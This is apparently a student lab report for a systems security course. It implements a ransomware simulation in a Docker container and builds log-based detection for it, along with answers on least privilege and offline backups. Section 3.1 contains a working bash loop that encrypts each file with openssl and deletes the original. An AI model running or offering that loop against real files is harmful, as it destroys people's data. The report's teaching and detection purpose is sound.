Systems and Services Security
Assignment 8 : Ransomware Implementation

Due by: 14/1/2026
Instructor: Sotirios Ioannidis, **TA:** Konstantinos Amplianitis

Gravalos Georgios - Angelos , 2021030001
Kerimi Rafaela-Aikaterina , 2021030007

3.0 - Environment Setup

The environment was set up using the provided Docker image `kostasamplia/ransom-lab-ubuntu:2025`. To facilitate development and ensure data persistence, three host directories were mapped to the container using bind mounts.

- **/assignment:** Source code for the ransomware script and logging tools
- **/data:** Target directory for the ransomware simulation
- **/target:** Dummy directory for testing

The container was initialized with the following command:

```
docker run -it -v $(pwd)/assignment:/home/student/assignment \
           -v $(pwd)/data:/home/student/data \
           -v $(pwd)/target:/home/student/target \
           kostasamplia/ransom-lab-ubuntu:2025
```

3.1 - Ransomware Implementation

The `ransomware.sh` script was developed to provide a ransomware attack simulation: generation, encryption, and decryption. The script accepts command-line arguments to select these modes.

- **File generation (`-g`):** To facilitate large-scale testing and log generation, a function was implemented to populate a target directory with N files. This allows for the creation of enough system events to trigger detection thresholds in later stages.
- **Encryption and Deletion (`-e`):** The script targets all files within a specified directory. For each file, it performs a read operation, generates an encrypted output file with the `.enc` extension, and deletes the original file via rm.

The encryption process utilizes OpenSSL. For the encryption of files that could either be small or huge, we opted for the AES256 symmetric algorithm.

```
openssl enc -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "$file" -out "$file.enc" -pass pass:"
    $PASSPHRASE"
```

This is how we manage the encryption in the bash file. We use the AES-256 in cipher block chain mode. To derive the key, we use password-based key derivation function 2 (PBKDF2) with 100.000 iterations, along with 8 random bytes in the derivation function. This ensures that even if we used the same passphrase, the key would be different each time.
The input file is fed into the bash script in variable `${file}`, and the output file in `${file}.enc`

The script was verified through the following steps:

1. 10 test files were generated in `/home/student/data`.
2. The encryption flag was run on `/data`. The outcome showed that all `.txt` files were replaced by `.enc` files.
3. The decryption flag (`-d`) was executed. By providing the same `-pbkdf2` and `-iter` parameters used during encryption, the original data was successfully restored and verified for integrity.

Final Script Code
Below is the core structure of the implemented bash script:

```
#!/bin/bash
# Logic for in-place encryption and deletion
encrypt_files() {
    for file in "$1"/*; do
        if [ -f "$file" ] && [[ "$file" != *.enc ]]; then
            openssl enc -aes-256-cbc -pbkdf2 -iter 100000 -salt \
                    -in "$file" -out "$file.enc" -pass pass:"secret"
            rm "$file" # The unlink system call
        fi
    done
}
```

3.2: Security Analysis and Access Control

The `ransomware.sh` script was executed within the `/home/student/data` directory.
We observed that in the Docker environment, the script executed successfully without any ”permission denied” errors. It was able to read the original files, write the encrypted `.enc` versions, and delete the original files.

To investigate the success of the attack, we began to inspect the directory permissions:

```
student@0615c3251fb0:~$ ls -ld /home/student/data
drwxrwxr-x 2 student student 4096 Jan 10 16:24 /home/student/data
```

The output reveals that the directory is owned by the user `student` with rwx permissions. These permissions, and specifically the write permission, allow a user to add new files and remove existing ones regardless of the individual file permissions. Because the script was executed by the owner of the directory, the ransomware had full authority.

Therefore, we came to the conclusion that **the least privilege rule** failed. The user running the script possessed more privileges than necessary for daily tasks. If the `student` user only required read access to the `/data` folder, the write/delete permissions should have been revoked, and the attack wouldn't be possible due to permission restricvtions.

3.4 - Detect the ransomware by enriching the Access Control Log Monitoring tool

The initial implementation only intercepted the standard C library function `fopen`. However, the ransomware script utilizes `openssl` for encryption, which typically bypasses `fopen` in favor of lower-level system calls (such as `open`, `open64` etc) when managing files. This resulted in missing log entries for the creation of `.enc` and `.txt` files, rendering the monitor unable to detect the ransomware.

As a solution, we extended the shared library to intercept also `open` and `fopen64`. This ensures that regardless of how the ransomware (or any user program) creates a file, the event is captured and logged with the correct Operation ID (0 for Create, 1 for Open).

The monitoring tool was updated to fulfill the requirements of Section 3.4, focusing on behavioral analysis of the logs generated by the enhanced logger.

- **High-volume file creation (burst activity)**
  Logic: We implemented a function `detect_mass_creation` that scans the log for "Creation" events (Operation 0).
  - It parses the timestamp of each event and converts it to UTC using `timegm` to ensure consistency.
  - It filters events occurring within a dynamic 20-minute window from the current time.
  - **Alert Condition:** If the count of created files exceeds the user-defined threshold (passed via `-v`), an alert is triggered.
- **Encryption-and-delete workflow detection**
  Logic: We implemented `detect_ransomware_patterns` to identify the specific workflow of a ransomware attack: **Open Source → Create Encrypted Target**.
  1. The function builds a linked list history of all files **Opened** (Op 1) by a specific Process ID (PID).
  2. When a **Create** event (Op 0) is detected for a filename ending in `.enc`, the monitor checks the history.
  3. **Alert Condition:** If the same PID previously opened the corresponding source file (e.g., creating `file.txt.enc` after opening `file.txt`), a high-confidence ransomware alert is triggered.

****NOTE****
During the testing phase of the ransomware simulation, we observed that the `ransomware.sh` script would indefinitely hang (freeze) when attempting to encrypt files using `openssl`. The process did not crash but ceased to make progress after processing specific file operations.

The issue was traced to the interaction between the `openssl` utility and our custom `audit_logger.so` library.

To generate secure encryption keys, `openssl` reads from `/dev/urandom`, a special character device file in Linux that provides an infinite stream of pseudorandom numbers. Our logger intercepting `fopen` calls triggered the `sha256_file_hash` function for every file opened, including `/dev/urandom`. The hashing function was designed to read a file until "End of File" (EOF). Since `/dev/urandom` is an infinite stream and never signals EOF, the logger entered an infinite read loop, causing the application to hang (deadlock).

To resolve this, we modified the `sha256_file_hash` function in `audit_logger.c` to enforce a file type check before attempting to read content.

We utilized the `stat()` system call and the `S_ISREG()` macro to verify if the target is a **regular file**.

- **Regular Files:** If `S_ISREG` returns true (e.g., text files, images, encrypted data), the function proceeds to calculate the SHA-256 hash as required.
- **Special Files:** If the file is not regular (e.g., character devices like `/dev/urandom` or named pipes), the hashing process is skipped, and a zero-filled hash is returned immediately.

The following logic was implemented to ensure safety:

```
struct stat st;
// Check if file exists AND is a Regular File
if (stat(path, &st) != 0 || !S_ISREG(st.st_mode)) {
    // Return dummy hash for special files (e.g., /dev/urandom)
    return hex_hash;
}
// Proceed to read and hash only if it is a regular file...
```

This check ensures the logger accurately tracks user file modifications while safely ignoring system device nodes that are incompatible with standard file reading operations.

3.5 - Theoretical Questions

- **Why can "least privilege" and role separation reduce ransomware blast radius, even if the initial infection happens on a user workstation? Give a concrete example involving shared drives or administrative credentials.**
  Least privilege dictates that a user or process must be granted only those privileges necessary to perform their intended function. The blast radius of a ransomware is proportional to the write permissions of the compromised user/process.
  Even if they are compromised, minimizing the number of files accessible to them means that we minimize the total impact of the encryption.

  Role separation ensures that high-level administrative functions are separated from routine user activities (like web browsing, email, etc.). This prevents a single user infection from turning into a system blackout.

  For example, without least privilege, all users have read/write access to all shared company drives. If a user makes the mistake of opening a malicious link and infect their system with a ransomware, it will spread to the entire drive and encrypt everything on it.
  With least privilege and role separation, each user has access to the extent that their role indicates. Regular users do not have access to sensitive or classified files or functionalities, and therefore a ransomware infection could be limited to their drive only.

- **Why do "offline" or "immutable" backups reduce ransomware risk compared to ordinary network- accessible backups?**
  Ordinary backups are reachable in the same way as regular files, if connected with the system either physically or via network. When ransomware executes, it scans all accessible drives and network shares and encrypts or deletes backups before encrypting the data. This ensures that it cannot be recovered somehow.
  Offline backups are disconnected from the system (like unplugged disks or tape backups). If the

ransomware cannot reach them during execution, they remain intact.
Immutable backups follow write-once policies. Once a backup has been written, it cannot be altered or encrypted by anyone, since these would require write actions.

- **Why do many ransomware attacks try to delete backups and recovery points before encrypting files, and what is one simple defense strategy that specifically targets this behavior?**
  If only the system's files were targeted, the admins would be able to recover everything via backup. Therefore, they wouldn't need to pay the ransom to the extortionist.
  By getting rid of all means available to restore the system to a point before the infection (such as deleting backups), the extortionist makes sure that the company/individual will have no other choice other than to pay the ransom to recover their files.
  A simple defense strategy against this is the use of backups such as the ones mentioned above, backups that are physically or logically disconnected from the system, and unreachable to the attacker.